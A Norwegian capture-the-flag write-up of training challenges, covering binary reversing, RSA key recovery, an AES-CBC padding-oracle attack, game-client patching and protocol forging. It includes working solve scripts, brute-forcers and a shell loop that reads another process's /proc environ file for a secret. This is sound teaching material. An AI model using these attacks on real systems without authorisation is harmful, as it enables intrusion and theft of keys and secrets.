login@corax ~/1_grunnleggende/1.11_Solveme $ scoreboard FLAG{Start_the_day_on_the_right_offset}

1.11.2 Solveme Del 2
Nå økes temperaturen herifra...

Solveme Del 3

Temperaturen øker definitivt på denne oppgaven når vi ser funksjonen vi skal forstå.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
__int64 __fastcall checkPassword3(__int64 a1)
{
  __int64 v1; // rax
  unsigned __int64 v2; // rax
  unsigned __int64 v3; // rax
  void *v4; // rsp
  size_t v5; // rbx
  const void *v6; // rax
  __int64 v7; // rax
  __int64 v8; // rax
  _QWORD v10[3]; // [rsp+8h] [rbp-110h] BYREF
  char v12; // [rsp+37h] [rbp-E1h] BYREF
  int v13; // [rsp+38h] [rbp-E0h]
  int i; // [rsp+3Ch] [rbp-DCh]
  int j; // [rsp+40h] [rbp-D8h]
  int v16; // [rsp+44h] [rbp-D4h]
  unsigned __int64 v17; // [rsp+48h] [rbp-D0h]
  _DWORD *dest; // [rsp+50h] [rbp-C8h]
  _DWORD v19[4]; // [rsp+58h] [rbp-C0h]
  _BYTE v20[32]; // [rsp+68h] [rbp-B0h] BYREF
  _BYTE v21[32]; // [rsp+88h] [rbp-90h] BYREF
  _QWORD v22[14]; // [rsp+A8h] [rbp-70h]

  v22[9] = __readfsqword(0x28u);
  std::allocator<char>::allocator(&v12);
  std::string::basic_string<std::allocator<char>>(v20, "Do you always remember all your passwords that well?", &v12);
  std::allocator<char>::~allocator(&v12);
  if ( std::string::length(a1) != 16 )
  {
    v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Do not waste my time!");
    std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
    exit(1);
  }
  v19[0] = 0x8F745590;
  v19[1] = 0x6B838889;
  v19[2] = 0x8C5D8485;
  v19[3] = 0x6283616A;
  v2 = (unsigned __int64)std::string::length(a1) >> 2;
  v17 = v2 - 1;
  v10[0] = v2;
  v10[1] = 0;
  v3 = 16 * ((4 * v2 + 15) / 0x10);
  while ( v10 != (_QWORD *)((char *)v10 - (v3 & 0xFFFFFFFFFFFFF000LL)) )
    ;
  v4 = alloca(v3 & 0xFFF);
  if ( (v3 & 0xFFF) != 0 )
    *(_QWORD *)((char *)&v10[-1] + (v3 & 0xFFF)) = *(_QWORD *)((char *)&v10[-1] + (v3 & 0xFFF));
  dest = v10;
  v5 = std::string::length(a1);
  v6 = (const void *)std::string::c_str(a1);
  memcpy(dest, v6, v5);
  v13 = 0;
  for ( i = 0; i <= 3; ++i )
  {
    v16 = (((((v13 << 8) + v13 + 1) << 8) + v13 + 2) << 8) + v13 + 3;
    v13 += 4;
    if ( v19[i] != (dest[i] ^ v16) + 0x23232323 )
    {
      v7 = std::operator<<<std::char_traits<char>>(&std::cout, "Please try again...");
      std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
      exit(1);
    }
  }
  // <snip>
}

Hvis man ser på funksjonen en liten stund, så gjør den hovedsaklig:

  • Passordlengde må være 16
  • v19 inneholder 4 32-bits verdier som sjekkes opp mot
  • For-løkken splitter passordet vårt i fire uint32 verdier, xorer hver verdi med v16, og plusser på en konstant

Alle operasjonene i for-løkken er reverserbare, akkurat som i 1.7 Innslipssord. Vi kan dermed omgjøre “likningen” v19[i] = (dest[i] ^ v16) + 0x23232323 til dest[i] = (v19[i] - 0x23232323) ^ v16. Da kan man lage et lite script som regner ut dette for alle de fire 32-bit verdiene.

1
2
3
4
5
6
7
8
9
10
from struct import pack

password = ""
v19 = [0x8F745590, 0x6B838889, 0x8C5D8485, 0x6283616A]
for i, num in enumerate(v19):
    v13 = i * 4 
    v16 = (((((v13 << 8) + v13 + 1) << 8) + v13 + 2) << 8) + v13 + 3
    res = (num - 0x23232323) ^ v16
    password += pack("<I", res).decode()
print(password)
1
2
loevland@ctf:~/ctf/cybertalent$ python3 solve.py
n0PlaceLik3aH0m3

Gir vi passordet til oppgave-binaryen får vi flagget.

1
2
3
4
5
Enter your third password, please: n0PlaceLik3aH0m3
Do you always remember all your passwords that well?

Here is your prize:
FLAG{Don't_get_lost_on_your_way_home}
1
2
3
4
login@corax ~/1_grunnleggende/1.11_Solveme $ scoreboard "FLAG{Don't_get_lost_on_your_way_home}"

1.11.3 Solveme Del 3
Snart i mål...

Solveme Del 4

Funksjonen som sjekker passordet for dette flagget gjør ikke noe veldig spesielt.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
__int64 __fastcall checkPassword4(__int64 a1)
{
  __int64 v1; // rax
  __int64 v3; // rax
  __int64 v4; // rax
  char v6; // [rsp+17h] [rbp-E9h] BYREF
  int i; // [rsp+18h] [rbp-E8h]
  int j; // [rsp+1Ch] [rbp-E4h]
  _BYTE v9[32]; // [rsp+20h] [rbp-E0h] BYREF
  _BYTE v10[32]; // [rsp+40h] [rbp-C0h] BYREF
  _BYTE v11[32]; // [rsp+60h] [rbp-A0h] BYREF
  _BYTE v12[32]; // [rsp+80h] [rbp-80h] BYREF
  _QWORD v13[11]; // [rsp+A0h] [rbp-60h]

  v13[9] = __readfsqword(0x28u);
  std::allocator<char>::allocator(&v6);
  std::string::basic_string<std::allocator<char>>(
    v9,
    "If there is no flag, the password might be wrong.. Try again!",
    &v6);
  std::allocator<char>::~allocator(&v6);
  if ( std::string::length(a1) != 4 )
  {
    v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Do not waste my time!");
    std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
    exit(1);
  }
  for ( i = 0; i <= 3; ++i )
  {
    if ( *(char *)std::string::operator[](a1, i) > 'z' || *(char *)std::string::operator[](a1, i) <= '`' )
    {
      v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Invalid character detected!");
      std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
      exit(1);
    }
  }
}

Funksjonen forventer et passord på fire bokstaver mellom ‘a’ og ‘z’, deretter prøver programmet å dekryptere det siste siste flagget med passordet (hvis passordet vi gir f.eks er ‘abcd’ så bruker programmet nøkkelen ‘abcdabcdabcdabcd’ for dekryptering).

Denne oppgaven er ren bruteforce, og man kan løse den ved å enten implementere dekrypteringsfunksjonen i et eget standalone program og kjøre bruteforce, eller så kan man automatisere prosessen å gi input til programmet vi fikk utdelt, og la det stå for dekrypteringen. Jeg valgte det siste, siden passordet bare er på fire tegn.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
import itertools
from string import ascii_lowercase

context.log_level = "critical"
for combo in itertools.product(ascii_lowercase, repeat=4):
  io = process("./solveMe")
  io.sendlineafter(b"first password, please:", b"SuperSecretPass!")
  io.sendlineafter(b"second password, please:", b"a beautiful password you have chosen for yourself!")
  io.sendlineafter(b"third password, please:", b"n0PlaceLik3aH0m3")
  io.sendlineafter(b"fourth password, please:", "".join(combo).encode())
  io.recvuntil(b"prize here?")
  res = io.clean(timeout=1.0)
  if b"FLAG{" in res:
      print(f"Password: {''.join(combo)}")
      print(f"Flag: {res.decode().strip()}")
      break
  io.close()
io.close()

Etter en stund kommer flagget ut.

1
2
3
loevland@ctf:~/ctf/cybertalent$ python3 brute.py
Password: qbit
Flag: FLAG{Brutus_doesnt_remember_passwords}
1
2
3
4
login@corax ~/1_grunnleggende/1.11_Solveme $ scoreboard FLAG{Brutus_doesnt_remember_passwords}

1.11.4 Solveme Del 4
Bra jobbet! Har du alle flaggene nå?

Solveme Ekstra

Dette flagget er et bonusflagg som er gjemt i binaryen, men som ikek har en egen funksjon som sjekker for noe passord. Her kunne ting som ubrukte funksjoner, ekstra seksjoner i binaryen, osv. være ting man måtte oppdage for å finne flagget, men det var ingen av de i dette tilfellet.

Jeg kom over dette flagget da jeg debugget programmet dynamisk, ved å sette et breakpoint i slutten av main funksjonen og søke etter teskten FLAG{ i binaryen. Da får man disse resultatene.

1
2
3
4
5
6
7
pwndbg> search FLAG
Searching for byte: b'FLAG'
solveMe         0x55555555b020 0x7274537b47414c46 ('FLAG{Str')
solveMe         0x55555555b03f 0x735f417b47414c46 ('FLAG{A_s')
solveMe         0x55555555b060 0x6174537b47414c46 ('FLAG{Sta')
solveMe         0x55555555b0a0 0x6e6f447b47414c46 ('FLAG{Don')
solveMe         0x55555555b0e0 0x7572427b47414c46 ('FLAG{Bru')

Man innser fort at det er et ekstra flagg her, som er bonusflagget vi er ute etter.

1
2
pwndbg> x/s 0x55555555b03f
0x55555555b03f <flag1+31>:      "FLAG{A_sparkling_hidden_gem}

Det viser seg at bonusflagget er gjemt sammen med det første flagget, og dekrypteres sammen med det, men at det bare er det ene flagget som blir printet til terminalen.

1
2
3
4
login@corax ~/1_grunnleggende/1.11_Solveme $ scoreboard FLAG{A_sparkling_hidden_gem}

1.11.5 Solveme Ekstra
Wow denne var godt gjemt!

1.12_Ubalansert

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
login@corax ~/1_grunnleggende/1.12_Ubalansert $ md LESMEG.md
┄Ubalansert

RSA er ofte brukt for å kryptere meldinger, men bare hvis implementasjonen av algoritmen er gjort korrekt.

Hvis man underveis velger å vike for standarende som finnes, vil det føre til at krypteringsalgoritmen ikke er sikker, og den
orginale meldingen kan lett bli forsert gjennom kryptoanalyse.

I denne oppgaven har vi implementert krypteringsalgoritmen på en sårbar måte.

Alt er ikke like balansert som det ser ut til.

────────────────────
nc ubalansert 1337
────────────────────

Kobler vi til instansen blir bi gitt n, e, og ct, som er de vanlige konstantene man får tildelt i RSA-kryptooppgaver. Ettersom oppgavenavnet er ubalansert er det ikke usannsynlig at p og q som er brukt for å lage n er dårlig valgte, og at vi dermed kan faktorisere n.

RsaCtfTool er et verktøy som kan kjøre mange forskjellige angrep mot RSA, og det funker også i dette tilfellet. Ved å bruke Pollard’s rho algoritme klarer den å finne faktorene p og q, og dekrypterer flagget for oss.

1
2
3
4
5
loevland@ctf:~/ctf/cybertalent$ RsaCtfTool -n <n_value> -e 65537 --decrypt <ct_value> --attack pollard_rho
[*] Attack success with pollard_rho method !

Decrypted data :
utf-8 : 73be942a1cd6a5a62fd78e6f443d87ed
1
2
3
4
login@corax ~/1_grunnleggende/1.12_Ubalansert $ scoreboard 73be942a1cd6a5a62fd78e6f443d87ed

1.12.1 Ubalansert
Kanskje lurt å velge litt mer balanserte primtall neste gang.

1.13_RSA7777

1
2
3
4
5
6
7
8
login@corax ~/1_grunnleggende/1.13_RSA7777 $ md LESMEG.md
┄RSA7777

Logg inn og les flagget!

────────────────────
ssh john@rsa7777
────────────────────

Enda en RSA oppgave, men denne skiller seg fra den forrige ved at ssh-tilgangen bare tillater innlogginger med èn spesifikk SSH-nøkkel.

1
2
3
4
5
6
7
8
9
login@corax ~/1_grunnleggende/1.13_RSA7777 $ ssh john@rsa7777
Warning: Permanently added 'rsa7777' (ED25519) to the list of known hosts.
Hi john!
Due to recent security issues we are moving away from passwords and we will be using keys.

Public key:
<SSH public key>

john@rsa7777: Permission denied (publickey)

Som i forrige oppgave kan vi bruke RsaCtfTool for å løse denne også, så vi lagrer public-keyen i key.pub og lar verktøyet begynne å jobbe.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
loevland@ctf:~/ctf/cybertalent$ RsaCtfTool --publickey key.pub --private
['key.pub']

[*] Testing key key.pub.

<snip>

[*] Performing fermat attack on key.pub.
[*] Attack success with fermat method !

Results for key.pub:

Private key :
-----BEGIN RSA PRIVATE KEY-----
<snip>
-----END RSA PRIVATE KEY-----

Verktøyet finner private-keyen som matcher med public-keyen som serveren krever, så da kan vi logge inn på serveren med denne nøkkelen.

1
2
3
4
5
6
7
login@corax ~/1_grunnleggende/1.13_RSA7777 $ ssh -i key.priv john@rsa7777
<snip>

john@rsa7777:~$ ls
flag.txt  mailthread.txt
john@rsa7777:~$ cat flag.txt
33a4a797ac2146252c32c18dfa850a14
1
2
3
4
login@corax ~/1_grunnleggende/1.13_RSA7777 $ scoreboard 33a4a797ac2146252c32c18dfa850a14

1.13.1 RSA7777
Fermat ville vært fornøyd, eller ikke, vanskelig å si...

1.14_apollo

1
2
3
4
5
6
7
8
9
10
11
12
login@corax ~/1_grunnleggende/1.14_apollo $ md LESMEG.md
┄Apollo

Vi har satt opp en server der vi kan kryptere vilkårlige meldinger og dekryptere chiffertekst, men med en vri.

Klarer du å benytte en kjent angrepstype for å avdekke innholdet?

Kjør uv run --script chall.py for å teste lokalt.

────────────────────
nc apollo 1337
────────────────────

Vi får utdelt kildekoden til programmet som kjører på serveren.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import hashlib
import os

key = os.urandom(16)
iv = os.urandom(16)

FLAG_val = os.getenv("FLAG")
if not FLAG_val:
    FLAG_val = hashlib.md5(os.urandom(16)).hexdigest()

FLAG = f"vil du ha dette?: {FLAG_val}"
FLAG = FLAG.encode()

def encrypt(pt):
    cipher = AES.new(key, AES.MODE_CBC, iv)
    ct = cipher.encrypt(pad(pt, 16))
    return ct.hex()

def decrypt(ct):
    cipher = AES.new(key, AES.MODE_CBC, iv)
    pt = unpad(cipher.decrypt(ct), 16)
    return pt

FLAGG = pad(FLAG, 16)
enc = encrypt(FLAG)
flag_blocks = []
for i in range(0, len(FLAGG), 16):
    flag_blocks.append(FLAG[i:i+16])

while True:
    try:
        line = input("> ")
        if not line:
            break
        option = int(line)
        if option == 1:
            pt = input("krypter melding > ")
            if not pt:
                break
            pt = pt.encode()
            ct = encrypt(pt)
            print(f"ct = {ct}")
        if option == 2:
            ct = input("skriv ciphertekst i hex> ")
            if not ct:
                break
            if len(ct) > 64:
                print("kan ikke håndtere")
                exit()
            try:
                pt = decrypt(bytes.fromhex(ct))
                if any(b in pt for b in flag_blocks):
                    print("juks")
                    exit()
                print(f"pt = {pt}")
            except:
                print("noe gikk galt")
    except (EOFError, KeyboardInterrupt):
        break

Programmet brukes AES CBC til kryptering og dekryptering. Vi kan få programmet til å dekryptere for oss, men hvis resultatet av dekrypteringen resulterer i en flagg-blokk (subsekvens av flagget på 16 tegn) så terminerer programmet. Hvis dekryptering feiler, f.eks ved at padding er feil, så vil programmet gi oss en feilmelding. Akkurat dette, kombinert med at det er AES CBC mode som brukes, gjør at vi kan utføre et padding oracle attack. I korte trekk kan man bruteforce alle blokkene utenom den første med dette angrepet.

Det finnes et python-bibliotek, padding_oracle, som kan utføre alt det matematiske ved dette angrepet for oss. Alt vi trenger å implementere er sending av data til serveren, og parsing av responsen for å vite om vi sendte noe som feilet i dekrypteringen eller ikke.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from padding_oracle import decrypt

io = remote("apollo", 1337)
io.recvuntil(b"Flagget er: ")
enc_flag = bytes.fromhex(io.recvline().rstrip().decode())

def oracle(data):
    if data[-16:] == enc_flag[-16:]:
        return True

    cipher = data.hex().encode()
    io.sendlineafter(b">", b"2")
    io.sendlineafter(b"hex>", cipher)

    response = io.recvline()
    if b"pt =" in response:
        return True
    return False

if __name__ == '__main__':
    try:
        decrypt(enc_flag, block_size=16, oracle=oracle, num_threads=1)
    except Exception:
        pass

Scriptet er langt i fra perfekt, men det funker. decrypt lager en tråd som kaller oracle funksjonen med data som skal sendes til serveren. Hvis dekrypteringen gikk bra returnerer funksjonen True, og hvis ikke returnerer den False.

1
2
3
4
5
login@corax ~/1_grunnleggende/1.14_apollo $ python3 solve.py
[+] Opening connection to apollo on port 1337: Done
[solve_block_error] invalid number of hits: 256 (block: 3, byte: 15)
[progress] b': 4eac5e94b9b76f3e6901fb6f22881c                '
[solve_block_error] block 3 not solved

Vi får nesten hele flagget, men det mangler ett hex-pair på slutten. Dette kommer av at klarteksten resulterer i tre AES blokker, og måten angrepet gjøres på resulterer i at vi ganske raskt ender opp med å sende ciphertekst som når dekryptert matcher juks-sjekken. Vi får da ikke bruteforcet klarteksten i de foregående blokkene.

Det finnes sikkert smartere måter rundt dette, men min løsning ble å skippe dekrypteringen av den siste blokken (derav første if-sjekk i oracle funksjonen), og heller tilslutt bruteforce slutten av flagget mot encrypt funksjonaliteten til serveren. Vi vet jo tross alt hva klarteksten er, bortsett fra akkurat flagg-verdien.

Etter at nesten hele flagget er rekonstruert kjørte jeg dette scriptet for å finne den manglende delen av flagget.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

alphabet = "0123456789abcdef"
flag = b"vil du ha dette?: "
flag += b"4eac5e94b9b76f3e6901fb6f22881c"

io = remote("apollo", 1337)
io.recvuntil(b"Flagget er: ")
enc_flag = io.recvline().rstrip().decode()

for a in alphabet:
    for b in alphabet:
        io.sendlineafter(b">", b"1")
        io.sendlineafter(b"melding >", flag + a.encode() + b.encode())
        io.recvuntil(b"ct = ")
        enc = io.recvline().rstrip().decode()
        if enc == enc_flag:
            print(flag.decode() + a + b)
            break
1
2
3
4
5
6
7
login@corax ~/1_grunnleggende/1.14_apollo $ python3 last.py
vil du ha dette?: 4eac5e94b9b76f3e6901fb6f22881c2e

login@corax ~/1_grunnleggende/1.14_apollo $ scoreboard 4eac5e94b9b76f3e6901fb6f22881c2e

1.14.1 apollo
Bra jobbet! Tenk at man kan dekryptere meldinger uten en nøkkel.

1.15_Missile_Command

1
2
3
4
login@corax ~/1_grunnleggende/1.15_Missile_Command $ md LESMEG.md
┄Missile Command

Spillet virker veldig vanskelig. Kanskje du kan jukse?

Vi får utdelt handout.zip som er et spill hvor man skal skyte ned missiler, men dessverre er det nok umulig å vinne ved normalt spill.

Missile Command Game

Fra filene som kommer med spillet ser man at det er skrevet i Unity, og da kan man som regel finne spill-logikken i fila Assembly-CSharp.dll. Dette er en .NET kompilert DLL, så vi kan bruke verktøy som f.eks dnSpy til å få tilnærmet eksakt kildekode.

Blar man litt rundt i de forskjellige klassene og funksjoene i koden så finner man etterhvert denne funksjonen som bestemmer hvilken skjerm som skal vises ved slutten av spillet. Enten får man på skjermen at man har vunnet, eller så får man at man har tapt.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class BombScript : MonoBehaviour
{
	// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
	private void OnCollisionEnter2D(Collision2D collision)
	{
		if (collision.gameObject.name != "FailHitbox") {
			TMP_Text component = GameObject.FindGameObjectWithTag("Score").GetComponent<TMP_Text>();
			int num = int.Parse(component.text);
			component.text = (num + 1).ToString();
			if (GameObject.FindGameObjectsWithTag("Missile").Count<GameObject>() == 1) {
				SceneManager.LoadScene("Win");
			}
			Object.Instantiate<GameObject>(this.explosionPrefab, base.transform.position, Quaternion.identity);
		}
		else {
			SceneManager.LoadScene("Fail");
		}
		Object.Destroy(base.gameObject);
	}
}

Vi havner inni denne når vi taper spillet:

1
2
3
else {
  SceneManager.LoadScene("Fail");
}

Siden vi kan rekompilere DLLer med dnSpy, hvorfor ikke bare endre den til å vise Win-skjermen hvis vi taper…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class BombScript : MonoBehaviour
{
	// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
	private void OnCollisionEnter2D(Collision2D collision)
	{
		if (collision.gameObject.name != "FailHitbox") {
			TMP_Text component = GameObject.FindGameObjectWithTag("Score").GetComponent<TMP_Text>();
			int num = int.Parse(component.text);
			component.text = (num + 1).ToString();
			if (GameObject.FindGameObjectsWithTag("Missile").Count<GameObject>() == 1) {
				SceneManager.LoadScene("Win");
			}
			Object.Instantiate<GameObject>(this.explosionPrefab, base.transform.position, Quaternion.identity);
		}
		else {
			SceneManager.LoadScene("Win"); // Patch
		}
		Object.Destroy(base.gameObject);
	}
}

Etter at vi har rekompilert DLLen trenger vi da bare å starte spillet og vente til at vi taper.

Missile Command Flag

1
2
3
4
login@corax ~/1_grunnleggende/1.15_Missile_Command $ scoreboard 6ea6124fbda3e823e23038ea707e030c

1.15.1 Missile Command
Finnes det ett eneste sted på Stroggos hvor jeg verken fryser ihjel eller drukner i min egen svette?

1.16_Legend_of_Vexillum

1
2
3
4
5
6
7
8
9
10
11
12
login@corax ~/1_grunnleggende/1.16_Legend_of_Vexillum $ md LESMEG.md
┄Legend of Vexillum

Vi har funnet et spill laget av en utvikler som nå jobber i GooodGames. Vedlagt er en forumpost, en manual for spillet og selve
spillet.

I følge forumposten er sikkerheten på spillet dårlig implementert. Siden utvikleren nå jobber i GooodGames er det mulig at de har
implementert noe liknende.

 1. Last ned spillet
 2. Kjør spillet med ./game legend-of-vexillum.ctf.cybertalent.no 2000
 3. Finn ut av hvordan sikkerheten til spillet er sårbar og vis at denne kan utnyttes ved å komme til siste rom i spillet

Når vi kjører binaryen får vi opp et TUI skrevet i Ncurses, som beskriver et rom karakteren vår står i, og ting vi kan gjøre (se på ting, plukke opp ting, bevege oss, osv.).

Hvis man ser på programmet i IDA så er det ikke noe særlig spill-logikk implementert der, men det er verdt å legge merke til at programmet snakker med en server ved bruk av socket(2), og uten noe krypto på dataen som sendes/mottas. Istedet for å reversere protokollen programmet bruker for å snakke med serveren kan vi se på nettverkstrafikken i Wireshark.

I Wireshark ser man fort at protokollen er som følger:

1
ROOM:<room>;ITEMS:<@item>;COMMAND:<cmd>;
  • room er rommet man står i
  • items er hva man har i inventoryen sin
  • command er hva karakteren gjør, f.eks er go ahead at karakteren går fremover (ofte inn i et nytt rom)

Det virker dermed ikke som om at serveren har noen state på spilleren, så vi kan si at vi står i hvilket som helst rom, sålenge vi vet hva rommet heter.

Hvis spillet har veldig mange rom kan det være fordelaktig å skrive en BFS eller DFS algoritme som mapper ut hele rom-strukturen til spillet, men det viser seg at det ikke er veldig mange rom, så det går fint an å gjøre det manuelt.

Min fremgangsmåte ble å interagere med serveren gjennom nc for å slippe TUIet. Det første rommet man starter i når man kjører game binaryen er dungeon_prison, og for hvert rom er prosessen følgende:

  • Kjør kommando look room for å se hvor de neste dørene er
  • Kjør kommando go <direction> for å gå inn i neste rom, og dermed få navnet på rommet
  • Repeter

Hvis man går inn i et rom som ikke har noen dører videre, så kan man bare endre retningen i go kommandoen man kjørte i det forrige rommet. Følgende er et utsnitt av kommunikasjonen med serveren etter at jeg hadde gått igjennom ett par rom, før jeg kom til flagget.

1
2
3
4
5
6
7
8
9
10
11
ROOM:sharpening_room;ITEMS:;COMMAND:look room;
You are in a large square room filled with noise and sparks. The walls are covered in wrought iron. There is an opening behind you. In the room there is a moving stones, and a slit visor.

ROOM:altar_room;ITEMS:;COMMAND:go ahead;
ROOM:central_hall;You go to the ahead

ROOM:central_hall;ITEMS:;COMMAND:look room;
SECRET:{'rooms': {'eye opening': 'eye_room'}, 'items': {}};You are in a massive central hall, the walls are covered in strange symbols that are pulsating alongside something on a platform above. There is a passageway behind you and a door ahead of you. In the room there is a steel slates, an oozing liquid, and an armor.

ROOM:eye_room;ITEMS:;COMMAND:look room;
You are in a small, dark room. The only light comes from above, through the ceiling you can see dcee2dbef8ad3dc077ba21dacafb9a97

Legg merke til SECRET feltet i central_hall rommet. Ser man på game binaryen i IDA ser det ut til at det er en if-sjekk som ikke vil vise dette hvis man bruker den til å kommunisere med serveren.

1
2
3
4
5
6
7
8
9
10
if ( !strncmp(v12, "SECRET:", 7u) ) {
  v15 = v12;
  v16 = strchr(v12, ';');
  if ( v16 )
  {
    s1 = v16 + 1;
    v17 = strlen(v16 + 1);
    __memmove_chk(v12, s1, v17 + 1, 512);
  }
}

Siden vi brukte nc til å kommunisere med serveren slapp vi unna dette (Wireshark capture i bakgrunnen ville også fanget opp denne heldigvis).

1
2
3
4
login@corax ~/1_grunnleggende/1.16_Legend_of_Vexillum $ scoreboard dcee2dbef8ad3dc077ba21dacafb9a97

1.16.1 Legend of Vexillum
Det virker til at ikke alle spill har like godt sikret nettrafikk... Bra jobbet!

Skjulte Flagg

4.1.1 environ

Som tidligere år ligger det på nettsiden et bilde i bakgrunnen som viser hvordan man får tak i det første flagget. Tidligere har bildet vist at flagget ligger i /dev/shm/.secret inne på corax.

I år var det derimot et annet bilde, hinter om at flagget har noe å gjøre med ls -lah /proc/self/environ. environ filen inneholder environment-variabler for prosessen som kjører, så det er dermed mulig at det ligger et flagg der.

Siden vi har tmux på corax kan vi enkelt sette opp to terminaler. Den ene terminalen kjører ls i en evig loop.

1
while true; do ls; done;

Den andre terminalen prøver å finned PIDen til ls prosessen, og kjøre catenviron fila dens.

1
while true; do cat /proc/$(pgrep "ls")/environ; done

Etter at man har fått ut innholdet i fila ser man at flagget er en environment-variabel hos prosessen: FLAG=57bca57ff4c67582ba0a32917db4a266.

1
2
3
4
login@corax ~$ scoreboard 57bca57ff4c67582ba0a32917db4a266

4.1.1 environ
None
This post is licensed under CC BY 4.0 by the author.